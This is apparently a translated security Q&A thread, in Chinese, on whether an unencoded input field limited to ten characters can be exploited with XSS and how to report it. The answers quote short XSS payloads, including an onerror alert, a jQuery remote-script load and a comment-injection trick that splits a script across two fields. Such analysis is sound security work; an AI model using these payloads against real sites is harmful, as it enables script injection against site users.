具有十个字符长度限制的 XSS 有效负载

信息安全 Web应用程序 xss
2021-09-12 12:44:05

有一个输入字段未在服务器端进行编码。但是如果你给出一个完整的脚本 say <img src=a onerror=alert(1)>,它会显示一个错误,比如:<img src=a....'is not a valid value。

我不知道有任何足够短的有效载荷来利用它。

  • 是否可以进行 XSS 攻击?
  • 如果没有,我应该如何向应用程序所有者报告此漏洞?
2个回答

是否可以进行 XSS 攻击?

不,10 个字符不足以利用这一点。如果要输入 JavaScript 上下文,至少需要:

  • 1 < 进入标签上下文
  • 1+ [az] 表示标签名称
  • 1 个空间
  • 1+ [az] 为属性(实际上,当前存在的最短事件属性是onload,即6个字符)
  • 1 =
  • 你的有效载荷

这意味着即使在理想情况下,您的有效负载也只有 5 个字符。即使已经加载了 jQuery 之类的东西,加载远程脚本也需要更多的字符。

实际上,您甚至没有 5 个字符。最短的属性是 6 个字符,但是 onload 在没有有效 src 的情况下不能与 img 一起使用,所以 onerror 更短,给你<img onerror=[] src=a>(20 个字符)。使用正文标签,您可以减少一点:<body onload=[]>(14 个字符),这仍然太长。而且你仍然需要你的有效载荷,它至少有大约 25 个字符(例如$.getScript('http://x.c'))。

这意味着在您的情况下,脚本标签实际上是最短的。但是您只能<script sr使用 10 个字符。

您甚至不能注入可能用于网络钓鱼的链接,因为 a 标签也被删除:<a href=ht

如果没有,我应该如何向应用程序所有者报告此漏洞?

文本的长度是否可配置?在这种情况下,这仍然是一个有效的漏洞。

如果它不可配置,我不会认为它是一个可利用的漏洞,但我仍然会报告它(至少如果我因为进一步的问题而联系他们),因为它可能在未来成为一个问题,以防供应商决定显示更多字符。

这将取决于,但如果有另一个地方插入用户输入,这 10 个字符将足以欺骗浏览器将其解析为另一个上下文。

假设下面有一个可以被攻击者控制的图像(例如头像),包括替代文本。攻击者可以设置:

<img src="myimage.jpg" alt="--><script>alert(1);</script>" />

不编码这个替代文本是安全的,因为它只出现在一个参数中。

但是,如果错误消息中的未编码文本是“ <!--”,那么直到-->参数中的所有内容都将被视为注释,并执行 alert()。

另一种选择是未过滤的文本,如« <b c="»,尽管有效载荷的其余部分需要更接近。

该参数可以是任何东西(例如图像 url),只要没有对其执行“冗余”转义,并且它出现在未过滤的文本之后(实际可利用性将取决于中间的标签)。